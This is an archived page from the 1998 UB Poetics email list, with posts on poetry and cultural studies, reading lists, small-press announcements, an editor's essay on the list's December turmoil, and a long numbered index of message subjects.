What specifically did you like in the introduction to _Against Literature_? Maybe I was cringeing too hard and missed something important.

Junuthun Muyhuw

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974. **Maria Damon**
Re: from today's _academe today_...
Mon 30 Nov 1998

At 4:59 PM -0600 11/30/98, MAYHEW wrote:
>Now I (JM) write again:
>
>You might be a minority in cultural studies too, Maria, because you
>actually care about POETRY. I think your work bridges the gap in a way
>that sets a great example for other critics.

thanks; there are some other folks --peter hitchcock, amitava kumar, walter kalaidjian, kristin ross, increasingly michael davidson (tho he sticks to "high" --tho hip) literature for his literary references), etc not to mention important forebears like adorno and benjamin (stay tuned for my dream anthology, Poetry and Cultural Studies: A Reader, to be published when i get the energy). but in general, it's hard to find folks to talk to --there's often a breakdown somewhere, because in cult studies (and i to some extent agree w/ this) we are not supposed to be hung up on any particular genre, but rather simply READ cultural phenomena. but why is "poetry" so seldom the cultural phenomenon that gets read? is my thing. and i'd like to do more of the actual stuff i used to do, like reading housing project poetry, rather than endlessly tub-thumping for bridging poetry and cultural studies...
>
>In the first place, there's the title, with its implication that
>literature is a useful thing to be *against* Why does cult studs have to
>be against literature?

i don't see this as *cult studs* against literature, but *poetry* against literature. my other project, to be pursued when i have the energy (when will that be???) is a book called "Poetics for a Post-literary 'America,'" which will address this very issue.

Why assume that various nefarious uses to which
>"literature" has been put in the past define all its possible future uses?
>Doesn't his position basically rule out any useful role for the
>practicing poet, playwright, or novelist by defining literature as that
>which is already studied as such in the university?

no, in my eyes, precisely not. it foregrounds the practice of verbal culture as *excluded* from academic considerations --weird language, non-literary poet-ries (micropoetries, i call them, after mark slobin's micro-musics of the west),

etc. my work is very "aestheticist", according to my colleagues, not because it focuses on canonical work (which it doesn't, though theirs does), but because it is not "historicist" in the current sense, of applying historical inquiries to canonical literature (ho hum). they work on "great literature," pretending to have no aesthetic stake in their subjects; i work on relatively unknown writers, with a fully acknowledged aesthetic investment, like, i actually *like* the stuff others consider doggerel on the one hand or unreadably "elitist" on the other. i even like mainstream stuff, not so much in itself but in what it obviously means to people.

I could repeat an
>argument Chas. Bernstein makes about Eagleton in an essay in _Content's
>Dream_ several years ago (even more relevant in today's climate): why
>concede to a conservative faction of academia the right to define what
>literature is?
>
>What specifically did you like in the introduction to _Against
>Literature_? Maybe I was cringeing too hard and missed something
>important.

it was a while ago, but what i liked was his beginning to move away from the category of the literary, though he sort of "takes it back" by then saying, i'm not against literature, really; but i wanna look at some things against the *backdrop* of literature, *that's what i meant by "against" literature. then he backs his way into lacan, as i recall, and abandons what could have been a promising step away from literariness.
>
>
>Junuthun Muyhuw

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975. **Joe Amato/Kass Fleisher**
Re: from today's _academe today_...
Mon 30 Nov 1998

---

maria, question: you mention being tagged "aestheticist" over and against "historicist"... to what extent do you see this repeating the (now quite old) distinction stuart hall once made between "structuralist" and "culturalist" cultural studies? (i never liked the latter term, though i've always found the work of someone like williams (a culturalist by hall's account) invaluable)...

my sense of cult. studies in fact (gross generalization coming) is that it's gone increasingly structuralist in some increasingly unproductive ways (neither structuralist nor culturalist excluded the historical---they just treated it

differently)... perhaps trying to work with poetry is pushing a culturalist agenda into this highly structural (or poststructural) arena?... as a result of the difficulties associated with the subject position (or broadly, subjectivities) at stake in poetry?... which would seem to operate almost at the surface of articulation/utterance?...

anyway... quick, perhaps badly posed questions, but i'd be much interested in any response you may have...

best,

joe

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976. **Robert Corbett**
Re: Current reading (non poetry)
Mon 30 Nov 1998

---

or perhaps William James Fenimore Cooper . . .

On Mon, 30 Nov 1998, Mark DuCharme wrote:

> *Roger day wrote:*
> *"The Last Of the Mohicans" William Fenimore Cooper. Better than expected,*
> *but not surprised they left the bear - and a lot else - out of the Michael*
> *Mann film.*
>
> *does memory completely fail, or is it _James_ Fenimore Cooper?*
>
> *MDC*
>
> _____
> *Get Your Private, Free Email at http://www.hotmail.com*

Robert Corbett "you are there beyond/ tracings flesh can [redacted] take,/ and farther away surrounding and University of Washington informing the systems" - A.R. Ammons

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977. **michael corbin**
Re: Bull Run
Mon 30 Nov 1998

Ron Silliman wrote:

> *I took the kids to Manasas yesterday*
>
> *"Who werethe good guys?" "They all were.*

Joe Amato/Kass Fleisher wrote:

> *maria, question:*
> *?... as a result of the difficulties associated with the subject*
> *position (or broadly, subjectivities) at stake in poetry?... which would*
> *seem to operate almost at the surface of articulation/utterance?...*

There were, of course, more than one Bull Run. Though Antetium seems more about the uselessness of that America.

But Manasas is something more. Poetrywise.
Disney had claims.
And these were warded off.
By Refrerence to bloody-soiledness.
And nation-state-needs.
We only need so many
living history theme parks, no?
Living-history. Needs.
But then suburban sprawl
covers much of that
stuff. Even outthere in Harper's
Ferry. Robert E. Lee, Marching out
with the Union Troops
to put down that Jown Brown.
Guerilla war, in the Appalachians.

Maria's _Dark End_
Opens up.
And it is a question of where to
go from here.Civil War poetry.
Like Edmund Wilson's _Patriotic Gore_.
And poets still trying to be
outside of history. And the superorganic
or CULTURE
and fumblings of
alienated listservservers believing
that civility and manners
will out in the end.

mc

↑ Index

978. **r. drake**
Re: A Wild Salience
Mon 30 Nov 1998

Wanted to add Ann Vickery to the list of contributors to A WILD SALIENCE... and also to mention that we're soliciting proposals for further issues in this series--contact me direct if interested.

luigi-bob drake
Burning Press
[redacted]

> *Burning Press is currently preparing for publication a booklength collection of responses to the work of Rae Armantrout--*
>
> *"A WILD SALIENCE": THE WRITING OF OF RAE ARMANTROUT, edited by Tom Beckett.*
>
> *Among other things, "A WILD SALIENCE" will include new work by Rae Armantrout,*
> *an interview with Lyn Hejinian, an interview with Tom Beckett, and critical work by Laura Moriarity, Aldon Nielsen, Rachel Blau DuPlessis, Brenda Hillman, Fanny Howe, Susan Wheeler, Lydia Davis, Kit Robinson, Bobbie West, David Bromige, Charles Alexander, Hank Lazer, Ron Silliman, Bob Perelman, Jessica Grim and Robert Creeley.*
>
> *"A WILD SALIENCE" is the first book in a projected series of volumes to be devoted to responses to individual contemporary writers. Following publication of this initial offering Tom Beckett will function as Series Editor and work to pair guest editors with important but underappreciated innovative writers.*
>
> *We are working to develop the most complete mailing list possible to publicize what we hope will come to be seen as an important contribution to the field of innovative writing. If you wish to be on the mailing list, or if you know of persons or institutions that ought to be, or if you have a mailing list you would care to share, please contact one of us:*
>
> *Tom Beckett, Editor*
> [redacted]
>
> *Bobbie West, Assistant Editor*
> [redacted]
> ---
>
> *And stay tuned.*

↑ Index

979. **Karen Kelley**
Re: Current reading (non poetry)
Mon 30 Nov 1998

Through a Window: M Thirty Years with the Chimpanzees of Gombe Jane Goodall
In the Shadow of Man Goodall
In Trouble Again: A Journey Between the Orinoco and the Amazon Redmond O'Hanlon
Intoxicated by my Illness Anatole Broyard
The World is the Home of Love and Death Harold Brodkey
Formless Rosalind Krauss

↑ Index

980. **Eric Gleason, a.k.a Agent Sunshine**
dec/jan nyc readings
Mon 30 Nov 1998

---

howdy everyone. been out of touch a little lately, i'm trying to find out about what readings and such are coming up during december and january. are the segue and zinc bar readings continuing every week?

thanks,
eryque

↑ Index

981. **Steven Marks**
Re: Current reading (non poetry)
Mon 30 Nov 1998

Crime and Punishment -- Dostoyevsky

Unleashing the Killer App: digital strategies for market dominance -- Harvard Business School Press -- uh, I feel like I have to explain this one. I'm writing a series of articles about the so-called New Economy. You can't write about this without going into the belly of the beast. I'm also reading some of my Uncle Karl's work as well since there are many who say that Marx would see the information revolution as the way to get all those material needs met. Yeah, right.

Alone -- Admiral Richard E. Byrd -- an account of his solo expedition during the Antarctic night in the interior of that continent. What's fascinating about the book is that the very technology that allows him to inhabit his small cabin in -70 degree weather is the same technology that is slowly killing him. Carbon monoxide poisoning from an oil stove and a hand-cranked radio (connecting him

to the hq at Little America) which saps what little strength he has left. This book led me to reread Kafka's short story, "The Burrow."

Steven

↑ Index

982. **Bob Haynes**
Re: Current reading (non poetry)
Mon 30 Nov 1998

I guess everybody's doing it--so here's mine:

-Poems for the Millenium (vol. 2), Rothenberg & Joris, eds.
-Deepstep Come Shining, C.D. Wright
-The Book of Disquiet, Fernando Pessoa
-Science and Steepleflower, Forrest Gander
-Songs of Degree, John Taggart
-Fairy Tales of the Brothers Grimm, Jack Zipes, trans.
-Java Script Developers Guide...

↑ Index

983. **Bob Haynes**
Re: Current reading (non poetry)
Mon 30 Nov 1998

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ooops, please ignore that last post....I was a bit hasty...put in some poetry books, too...sorry....call me Fishmeal.....

↑ Index

984. **F. W. Perrella**
Web Del Sol Update 12/1/98
Mon 30 Nov 1998

Perihelion #3 is up: http://webdelsol.com/Perihelion

Ever wonder what those poetry editors are thinking as they sift through all those submissions? What if poetry editors are also poets? Perihelion #3, now online, is devoted to the works of poets who are also editors. In the Discussion section, Jennifer Ley hosts five editors from online and print, who tackle topics such as the varying perspectives on the editor's role: editor as collector, match-maker, creator, "one who dares to give". Come take a look.

Two journals newly associated with WDS are also available for sampling:

Quarterly West http://webdelsol.com/Quarterly_West

Editor Margot Schilpp has a sampling of contemporary/experimental literature, including fiction, short-shorts, poetry, and nonfiction.

and New England Review http://webdelsol.com/New_England_Review

Edited by Stephen Donadio, NER features fiction, poetry, performance pieces, essays, translation, and interviews.

Hope you're working on your creative non-Quictions, too - contest deadline is January 31, 1999. Guidelines are at http://webdelsol.com/cnq.htm

Thanks!

Anne Perrella

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

December 1998

690 messages · Thu 26 Nov 1998 – Tue 22 Dec 1998

December 1998 was the rare month the Poetics list looked up from itself — and could not, in the end, stop looking at itself either. In a single week the United States bombed Baghdad and the House moved to impeach a president, and for once the room engaged the war: Iraq ran to more than fifty messages, Susan Schultz sick to her stomach, Rachel Levitsky treating the list as her only source of news. But it engaged on its own terms alone — the war admitted as a poem, a book-list, a gloss on the day's absurdity, Hilton Obenzinger observing that *"recent political discourse has gone way beyond Jabberwocky."* The Pentagon's name for the operation, Desert Fox, never once appears; and the archive falls silent on the eighteenth, so the impeachment vote itself drops into a darkness the record never fills.

The month's largest thread was, with terrible aptness, about erasure. Joanna Fuhrman had opened it to flee the list's endless talk about the list — a genuine poetics thread, on the erased text as a form, from DuPlessis's Drafts to Rauschenberg rubbing out a de Kooning — and within days it had been swallowed by the very quarrel it meant to escape. For as the room theorised erasure, one of its own performed it: Henry Gould, the list's most tireless arguer, unsubscribed and was gone. William Slaughter marked the vanishing in five words that were their own found poem — *"Henry Gould erased Henry Gould."*

For December's true subject, the one it could not put down, was its own government: who might speak, how often, and whether a private word of rebuke amounted to harassment. Mark Wallace and others proposed a limit of one post a day; Mairead Byrne answered with a satire that laid bare the proposal's gendered edge, wondering what such rationing would do to the list's vitality. It curdled fast. Gabriel Gudding, who days earlier had written *"But already I miss Henry."* — mourning the departed Gould — was now himself the target, Pierre Joris telling him flatly, *"Get off this list."* And under the flames the list's co-editor, Joel Kuszai, resigned.

And yet, even burning, the room kept doing the thing it does — it played. The book-lists went on, what to read on the bus and what to buy a beloved; the wordplay went on, Emily Lloyd mishearing a menu into barbarian cremes; and the politics it would not debate head-on it smuggled in disguised as verse, as when Daniel Bouchard slipped an Iraq poem onto the list whose flattest line —

“No sane person actually lives in Iraq.” — did more than any argument. The list was coming apart and writing poems about it in the same breath.

The record does not end so much as give out. Its last full day is the eighteenth, the bombs still falling, and it is spent watching the list’s stewards reach for the exits: Kuszai gone, Charles Bernstein scrambling to pick up the administration and admitting he wanted to bow out himself, Charles Alexander saying the plainest thing anyone said all month — *“Goodbye. I’m sorry you’re leaving, Joel.”* Then, on the nineteenth, three messages; on the twenty-second, one; and after that, nothing. I have set the war and the list’s own unravelling on the same few days exactly as December left them, because that is how the year went dark — not with a vote or a ceasefire, but with a room full of poets, mid-argument, going quiet.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 690 in all.

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86. George Bowering — Re: Stein's Rose w or w/o indefinite article
87. miekal and — quick history
88. Ron Silliman — A bus ride is better than most art
89. Ramez Qureshi — Fwd: [Fwd: "Hell no, we won't grade" (Salon)]
90. Gabriel Gudding — I Will Irony No More Forever
91. Jim Rosenberg — Re: Stein's Rose w or w/o indefinite article
92. J Kuszai — My 2 cents (.94 due to inflation)
93. miekal and — Re: I'll cc' Joel's 2 cents, raise him 5
94. Roger Day — Re: quick history
95. Poetry Project — Re: reading/2 or 3 things
96. David Carl — stein pedantics
97. Mairead Byrne — Re: quick history
98. David Kellogg — Re: stein pedantics

99. Roger Farr — the list
100. Eliza McGrand — contributed to poetics list navelgazing (del. if bored wi/)
101. Pritchett,Patrick — Re: My 2 cents (.94 due to inflation)
102. daniel bouchard — I'll cc' Joel's 2 cents, raise him 5
103. Jordan Davis — numerology
104. Sylvester Pollet — Mina Loy/Woman & Poet
105. daniel bouchard — 666
106. William Marsh — Re: Infoanimism
107. Aldon Nielsen — Re: A bus ride is better than most art
108. Bob Haynes — Re: My 2 cents
109. Aldon Nielsen — Re: My 2 cents (.94 due to inflation)
110. Hank Lazer — Re: My 2 cents (.94 due to inflation)
111. Judy Roitman — Re: raddle moon
112. Judy Roitman — Re: My 2 cents (.94 due to inflation)
113. Joe Amato/Kass Fleisher — Re: My 2 cents (.94 due to inflation)
114. Judy Roitman — Re: one post per day, and a chicken in every pot
115. R.Gancie/C.Parcelli — Re: Response to Bernstein: What is a Discoball of Wrath?
116. Jordan Davis — Campaign finance reform and the moderated list
117. Steven Shoemaker — one post per day, and a chicken in every pot
118. Gabriel Gudding — skewer
119. R.Gancie/C.Parcelli — Re: one post per day, and a chicken in every pot
120. MAXINE CHERNOFF — Please backchannel
121. David Hickman — Troubling Posts, Insults, and Childishness
122. Wystan Curnow — (Fwd) Re: fail safe
123. J Kuszai — fuck guns & where to go from here [long post]
124. Karen Kelley — Re: 666
125. Joe Brennan — Fwd: New Fraentzki
126. Mairead Byrne — Re: Troubling Posts, Insults, and Childishness
127. Bob Haynes — Re: Infoanimism

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128. A. Jenn Sondheim — Re: Infoanimism
129. Elizabeth Treadwell — fuck guns
130. Jim Andrews — Re: Infoanimism
131. George Bowering — Re: quick history
132. George Bowering — Re: pig wars and other truffle-snuffling battles
133. Rachel Loden — delete if not interested in arcane arguments re: pig wars and other truffle-...
134. Randy Prunty — David Todd and Dirigible
135. miekal and — Avant Writing Collection
136. miekal and — Re: quick history
137. Jim Bennett — Re: Troubling Posts, Insults, and Childishness
138. Gary Sullivan — Rain Taxi Vol. 3 No. 4
139. Christina Fairbank Chirot — poets/troublemakers/Chile (a fwd)
140. Joe Brennan — free charles
141. Gabriel Gudding — Re: skewer & love of this list
142. Michael Magee — Re: free charles
143. Mark Wallace — perhaps another suggestion
144. Hilton Manfred Obenzinger — Re: Help
145. Christina Fairbank Chirot — Re: email addresses question
146. A. Jenn Sondheim — Experiments in Poetry, by Jennifer*
147. tracy s. ruggles — Re: AUTOMATIC REPLY
148. Edward Foster — Re: Tonight
149. Steven Shoemaker — Re: perhaps another suggestion
150. Eliza McGrand — Re: perhaps another suggestion
151. Mairead Byrne — Re: perhaps another suggestion

152. Tosh — Re: perhaps another suggestion
153. Elizabeth Treadwell — Re: the backchannels I knew I'd get this morning.
154. Eliza McGrand — nav.gaz. ethical query on new subject
155. R.Gancie/C.Parcelli — Re: quick history
156. Mark Weiss — Re: the backchannels I knew I'd get this morning.
157. David Cameron — Re: perhaps another suggestion
158. Elizabeth Treadwell — I become my own enemy
159. R.Gancie/C.Parcelli — Re: perhaps another suggestion
160. groberts — my two cents laid on the r.r. track
161. R.Gancie/C.Parcelli — Re: quick history
162. Mairead Byrne — Re: nav.gaz. ethical query on new subject
163. Tom Orange — suggestions: self-control, et al.
164. Charles Bernstein — Freedom Is Never Free
165. cris cheek — Re: it feels like harassment
166. R.Gancie/C.Parcelli — Re: Freedom Is Never Free
167. Mark Weiss — Re: suggestions: self-control, et al.
168. Dale Smith — The Hat
169. Joe Amato/Kass Fleisher — Re: Freedom Is Never Free
170. Joe Amato/Kass Fleisher — Re: Freedom Is Never Free
171. George Thompson — Re: Auster Studies
172. michael corbin — Re: Freedom Is Never Free

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173. Henry Gould — showdowns
174. Jim Andrews — Infoanimism and trickster accusations
175. Chris Nagler — Re: Des Forets query
176. Billy Little — defining audience
177. A. Jenn Sondheim — moderation, posting, etc.
178. Charles Alexander — Re: Erasing/rigor
179. Carmen Butcher — West Coast Poetry Live--Lipstick Eleven Party/Small Press Traffic
180. J. Fuhrman — Re: Erasing
181. Kathy Lou Schultz — Re: West Coast Poetry Live--Lipstick Eleven Party/Small Press Traffic
182. schuchat — Re: Freedom Is Never Free
183. miekal and — whodunnit / festival
184. miekal and — higgins memorial
185. Pierre Joris — Re: Des Forets query
186. Gabriel Gudding — reading recommendations
187. Susan Wheeler — DC Reading
188. Ron Silliman — Policing the List
189. J Kuszai — test--please delete--do not respond to this
190. Ron Silliman — Janet Lewis
191. J Kuszai — Numbers, Daughter of The Book
192. Joe Brennan — Re: reading recommendations
193. Herb Levy — Janet Lewis
194. Eliza McGrand — Re: Erasing
195. Joe Amato/Kass Fleisher — Re: Policing the List
196. Edward Fristrom — Re: Freedom Is Never Free
197. Randy Prunty — Policing the List
198. Randy Prunty — Re: Erasing
199. Ramez Qureshi — Query Pound
200. MAYHEW — Re: Policing the List
201. Karen Kelley — Re: Erasing
202. William Marsh — new media criticism [was Infoanimism]
203. Steven Shoemaker — enervation effect
204. Joe Amato/Kass Fleisher — Janet Lewis and Miekal And
205. Mairead Byrne — Re: enervation effect

206. Laura E. Wright — Re: Erasing and non-po reading
207. Steven Shoemaker — Re: enervation effect
208. Joe Amato/Kass Fleisher — Re: enervation effect
209. juliana spahr — why I am not a reader of the poetics list
210. Mark Weiss — Re: enervation effect
211. Elizabeth Treadwell — it feels like harassment
212. Thomas Bell — Re: Erasing
213. Thomas Bell — Re: new media criticism [was Infoanimism]

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214. Mark Weiss — Re: Erasing
215. Todd Baron /*/ ReMap — Re: perhaps another suggestion
216. Jim Andrews — v i s u a l a n g u a g e
217. Tom Orange — Erasing
218. Tom Orange — whodunnit / festival
219. L. MacMahon and T.R. Healy — Re: it feels like harassment
220. Kathy Lou Schultz — Re: it feels like harassment
221. miekal and — poetics of hypertext
222. Jim Bennett — Re: perhaps another suggestion
223. groberts — Re: Erasing
224. Carmen Butcher — J. Fuhrman's Question on Palimpsests
225. Mark DuCharme — Re: free Henry
226. J. Fuhrman — Re: Erasing
227. A. Jenn Sondheim — Re: Erasing
228. Pierre Joris — Re: Erasing
229. Eliza McGrand — Re: J. Fuhrman's Question on Palimpsests
230. KENT JOHNSON — My one post for December
231. Rachel Levitsky — hello again and query
232. Daniel Zimmerman — Re: Erasing
233. Joe Amato/Kass Fleisher — Re: Erasing
234. david bromige — i want you to make love to me
235. Karen Kelley — Re: J. Fuhrman's Question on Palimpsests
236. Stuart Mitchell — Re: POETICS Digest - 4 Dec 1998 to 5 Dec 1998 (#1998-145)
237. Lisa Samuels — numbers, daughter of the book
238. R. Gancie/C.Parcelli — Re: Erasing
239. Mairead Byrne — Re: Erasing
240. Mark Weiss — feels like harassment to me, too
241. KENT JOHNSON — Happy Holidays
242. KENT JOHNSON — A web site for the imagination
243. Poetics List — 2 NYC Reading
244. Amy King — Re: why Peter Ganick cannot think... a listserv

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245. Thomas Bell — Archieval Revival Re: Original Good Reads
246. dbkk — Erasing
247. Susan Schultz — Fwd: TINFISH 7 is out!
248. nicholas grindell — Re: Happy Holidays
249. Joe Brennan — Re: Erasing
250. daniel bouchard — the wasp of capital
251. Judy Roitman — Re: Erasing/rigor
252. miekal and — Re: Anne Waldman Archive
253. Gabriel Gudding — Henry Gould, News Regarding
254. groberts — Re: Erasing
255. Chris McCreary — address queries
256. Mairead Byrne — Re: Adieu
257. david bromige — re erasure/rigor: judy's question
258. R.Gancie/C.Parcelli — Re: Erasing/rigor

259. John Latta — Anne Waldman Archive
260. Pritchett,Patrick — FW: Declaration on Rights of Indigenous Peoples
261. Carmen Butcher — Jackson Pollock on "destroying the image"
262. Steven Shoemaker — irony goggles (Be Safe: Wear Them!)
263. Pritchett,Patrick — Re: Left Hand Reading Series for December
264. KENT JOHNSON — Concerns
265. Jordan Davis — Eileen Myles . Kenneth Koch . Poetry City
266. Gabriel Gudding — God Bless the Tumors, the Boils and the Blisters
267. Rachel Blau DuPlessis — Re: Erasing
268. Mark Wallace — poetry reading in D.C.
269. Ramez Qureshi — erasing
270. Burt Kimmelman — Re: Erasing
271. Joe Brennan — (no subject)
272. R.Gancie/C.Parcelli — Re: Erasing
273. Dale Smith — Readings in Austin / The Hat (if this gets through...)
274. Ralph Wessman — famous reporter 18 (apologies for x-posting)
275. Hilton Manfred Obenzinger — Re: Auster Studies
276. George Thompson — Note on the Indo-European origins of Gabe Gudding's game
277. Carl Wilson — Re: Erasing
278. Steven Shoemaker — non-po reading
279. joel lewis — f.y.i. (ho-ho)
280. louis stroffolino — ATTENTION KEVIN AND DODIE---
281. Daniel Kane — "The Academy of the Future is Opening..."
282. George Bowering — Re: i want you to make love to me

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283. Thomas Bell — Re: Erasing
284. Simon DeDeo — (no subject)
285. A. Jenn Sondheim — boo-boo
286. J Kuszai — erased
287. miekal and — The Martyrology of St. Henry
288. MAYHEW — ccoolliiddggee qquueerryy
289. schuchat — Re: call me morbid call me pale
290. Poetry Project — call me morbid call me pale
291. Poetry Project — readings at the Poetry Project
292. Rachel Levitsky — [Fwd: Protest Institutional Violence in NYC Jails]
293. Anastasios Kozaitis — Vanishing posts
294. Daniel Carter — items eye polite dangers and other softnesses
295. Randy Prunty — Re: items eye polite dangers and other softnesses
296. Joe Amato/Kass Fleisher — Re: Concerns
297. Chris McCreary — a modest proposal
298. Aldon Nielsen — Re: whodunnit / festival
299. Mark Prejsnar — under and over erasure
300. Amy King — Rachel raises a good point: She Speaks of Poetry
301. R.Gancie/C.Parcelli — Re: erasing
302. R. Gancie/C.Parcelli — Erasing
303. William Slaughter — ANNOUNCEMENT
304. Charles Bernstein — Impeach or Censure (Was: Concerns)
305. Rachel Levitsky — Re: Home and Tone
306. R. Gancie/C.Parcelli — forked tongue?
307. E.M. Garrison — (no subject)
308. E.M. Garrison — Re: call me morbid call me pale
309. Judy Roitman — Re: erased
310. Mark Prejsnar — Re: erased
311. Carl Wilson — Re: erased
312. Judy Roitman — Re: under and over erasure

313. Emily Lloyd — Re: The Cold of Poetry &, eventually, "girls"
314. louis stroffolino — Re: a modest proposal
315. Mairead Byrne — Re: The Martyrology of St. Henry
316. J Kuszai — 2 of per diem
317. Simon DeDeo — Re: The Cold of Poetry &, eventually, "girls"
318. A. Jenn Sondheim — Re: Home and Tone
319. Charles Alexander — new book announcement
320. Ruth Danon — Re: Erasing
321. J Kuszai — Re: Impeach or Censure (Was: Concerns)
322. Don Cheney — Book Announcement: The Qualms of Catullus & K-mart
323. KENT JOHNSON — A response to Charles Bernstein
324. J Kuszai — ack-farewell (a confessional poem)
325. Bob Grotjohn — three questions
326. Billy Little — Xplo 6!!!!
327. david bromige — re The Cold of Poetry/Em's strand
328. Tosh — Serge Gainsbourg's Evguenie Sokolov
329. Anya Lewin — Re: Erasing
330. Burt Kimmelman — Re: The Cold of Poetry &, eventually, "girls"
331. Hilton Manfred Obenzinger — Re: Erasing
332. Eliza McGrand — Re: a modest proposal
333. Ron Silliman — Announcements, Events
334. KENT JOHNSON — Whose sexual organs?
335. Emily Lloyd — L=A & L.H.

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336. Peter Quartermain — Coming in December, puff puff puff!
337. Emily Lloyd — Stein,Charles,&LesbianCodes:one girl's fantasy "Oprah"
338. Kathy Lou Schultz — Special to Bay Area teachers/students (Course Announcement)
339. Tom Orange — call me morbid call me pale
340. George Bowering — Re: A response to Charles Bernstein
341. George Bowering — Re: re The Cold of Poetry/Em's strand
342. Susan Clark — RADDLE MOON again
343. Douglas Oliver — Re : Abstract lyric
344. izak — Transfer Reading
345. miekal and — f.y.i.
346. Alaric Sumner — British Poets in digest form
347. Michael Magee — Re: Stein,Charles,&LesbianCodes:one girl's fantasy "Oprah"
348. Gwyn McVay — Re: three questions
349. Pattie McCarthy — Re: Erasing
350. Joe Brennan — Fwd: blick
351. Mark Prejsnar — Call me abstract, call me French
352. Rachel Levitsky — Re: Stein,Charles,&LesbianCodes:one girl's fantasy "Oprah"
353. Rachel Levitsky — Re: oh and one more thing
354. tracy s. ruggles — Re: Ingram and B&N (was: 2 of per diem)
355. Roger Day — Re: Erasing
356. Joe Amato/Kass Fleisher — half-rant, and a question...
357. shemurph — The Big R - Spencer Selby
358. ken|n|ing — Big Allis
359. James Brook — correspondance avec guy debord
360. Mark Prejsnar — My final List polemic
361. charssmith — MLA ?
362. Emily Lloyd — Re: Stein,Charles,&LesbianCodes:one girl's fantasy "Oprah"
363. MJ Devaney — Re: MLA ?
364. charssmith — Angle Press Announcement
365. R.Gancie/C.Parcelli — 'Democracy is Merry' - Beuys will be Beuys
366. Michael Magee — Re: My final List polemic

367. Gabriel Gudding — announcement: SUBMIT YOU DOG
368. Emily Lloyd — correction, spell-check, self-check
369. schuchat — Re: three questions
370. Hoa Nguyen — Frank O'Hara, Skanky Possum
371. Dale Smith — The Hat
372. Emily Lloyd — Re: erasure/frags
373. dbkk — L. Shaw talks F. O'Hara in SF
374. michael corbin — Re: Impeach or Censure (Was: Concerns)

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375. Amy King — Re: Erasing and the Ghost of Listserv Present
376. ike/clare — Re: ErAuster
377. A. Jenn Sondheim — Erasing
378. Daniel Zimmerman — Re: erasure/frags
379. Leonard Brink — Announcement - Inscape #4
380. Tom Orange — STOP IMPEACHMENT! Free call to Congress. (fwd)
381. Rachel Levitsky — Re: Book Announcement: The Qualms of Catullus & K-mart
382. Jim Bennett — Re: Erasing
383. Daniel Carter — Re: items eye polite dangers and other softnesses
384. Daniel Carter — Torque Inly failed the skies
385. Michael Magee — Re: Frank O'Hara, Skanky Possum
386. Mark Prejsnar — Re: Erasing and the Ghost of Listserv Present
387. Mairead Byrne — Re: Erasing
388. Garrett Kalleberg — TF7
389. Jim Bennett — Re: Stein,Charles,&LesbianCodes:one girl's fantasy "Oprah"
390. miekal and — Word Express Mention
391. Roger Day — Re: Erasing
392. Michael Gottlieb — Alan Davies, Carole Miracove NYC Reading
393. Joe Amato/Kass Fleisher — Re: Erasing
394. Gabriel Gudding — Re: Erasing
395. David Erben (Art) — San Francisco
396. dbkk — Poets of the MLA
397. Billy Little — Re: mars/bars/spars/stars
398. Jordan Davis — Don't all call me Archibald Cox at once (or even James G. Farley)
399. Aldon Nielsen — the poetics of impeachment
400. jen hofer — thoughts not announcements: on meaning, hejinian, my life
401. Daniel Kane — "Deep Image"
402. A. Jenn Sondheim — Jennifer on Republicans
403. groberts — Re: erasing
404. Emily Lloyd — Baratier's Silliman question
405. Gabriel Gudding — Re: Don't all call me Archibald Cox at once (or even James G. Farley)
406. Poetics List — Posting to the list
407. Marcella Durand — urban space
408. Wystan Curnow — Re: "Deep Image"
409. Carl Wilson — Re: urban space
410. Wystan Curnow — Re: Baratier's Silliman question
411. Eliza McGrand — miss priss speaks up (ahem)
412. Pierre Joris — Re: "Deep Image"
413. Emily Lloyd — Re: Baratier's Silliman question
414. eurydice — Re: Big Allis Information
415. Wystan Curnow — Re: God Bless the Tumors, the Boils and the Blisters

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416. david bromige — Baratier/Silliman/origins of Langpo as term
417. Jim Bennett — Re: Baratier's Silliman question - Post-Lanpo
418. Randy Prunty — Re: Readings in Austin / The Hat (if this gets through...)
419. charles alexander — Re: urban space

420. Roger Day — Re: urban space
421. David Baratier — Big Mouth Strikes Again
422. Jacques Debrot — Re: Baratier/Silliman/origins of Langpo as term
423. Billy Little — Re: miss priss speaks up (ahem)
424. Gabriel Gudding — Final (Hopefully) Note about Insult Thread
425. groberts — Re: urban space
426. MAYHEW — Re: Baratier's Silliman question
427. Eileen Tabios — Re: 3 questions re A. Sze poem
428. Fred Muratori — Re: Final (Hopefully) Note about Insult Thread
429. MAYHEW — Re: Final (Hopefully) Note about Insult Thread
430. Jordan Davis — Posting to the list
431. Aldon Nielsen — Re: Baratier/Silliman/origins of Langpo as term
432. Poetry Project — Thanks for implications
433. Mairead Byrne — Re: Final (Hopefully) Note about Insult Thread
434. David Erben (Art) — Reggae William Blake
435. Mark Prejsnar — Jonathan Mayhew is a Language Poet
436. Aviva Vogel — Deep Image - Original Materials - Inquiry
437. R. Gancie/C.Parcelli — Re: God Bless the Tumors, the Boils and the Blisters
438. Gabriel Gudding — recommended readings
439. E.M. Garrison — Re: Posting to the list..and a Query.
440. Gwyn McVay — Emperor a la Nordine
441. louis stroffolino — ADOPT A "POET"
442. R. Gancie/C.Parcelli — Re: Posting to the list
443. Ron Silliman — Jonathon Mayhew is a language poet
444. Joe Brennan — Fwd: news that stays news
445. Elizabeth Treadwell — Eliza Jen Juliana & Concerns or erase
446. A. Jenn Sondheim — SEMCOM:, Books: Semiotics (fwd)
447. Brian Lennon — urban space
448. BETSY ANDREWS — Re: boo-boo
449. Steven Marks — Re: Reggae William Blake
450. Jacques Debrot — Re: Poetics Suggestion

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451. F. W. Perrella — New at: The Literary Review and North American Review - Web Del Sol
452. miekal and — listserv gratuties
453. J Kuszai — Re: The Hat/women writers
454. J Kuszai — Re: The Hat/women writers
455. Randy Prunty — Re: Poetics Suggestion
456. Marcella Durand — urban space
457. miekal and — The cat in the hat omnibus
458. Joe Amato/Kass Fleisher — report to the committee...
459. L. MacMahon and T.R. Healy — Re: urban space
460. R.Gancie/C.Parcelli — Re: Lyn Hejinian
461. Emily Lloyd — new address, & Lyn
462. Tom Orange — origins of Langpo as term
463. Tom Orange — poetics of impeachment
464. Steven Shoemaker — Re: poetics of impeachment
465. Maria Damon — Re: poetics of impeachment
466. Eliza McGrand — Re: poetics of impeachment
467. Louis Cabri — a phillytalks thot
468. Tom Orange — labels and referentiality
469. Dale Smith — The cat in the hat
470. dan raphael — Re: Baratier's Silliman question - Post-Lanpo
